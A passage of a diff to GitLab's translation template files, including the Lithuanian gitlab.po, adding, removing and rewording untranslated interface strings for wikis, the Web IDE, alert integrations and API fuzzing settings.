+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index b345deb3527..507ac7b036c 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:56\n"
+"PO-Revision-Date: 2021-04-02 00:18\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
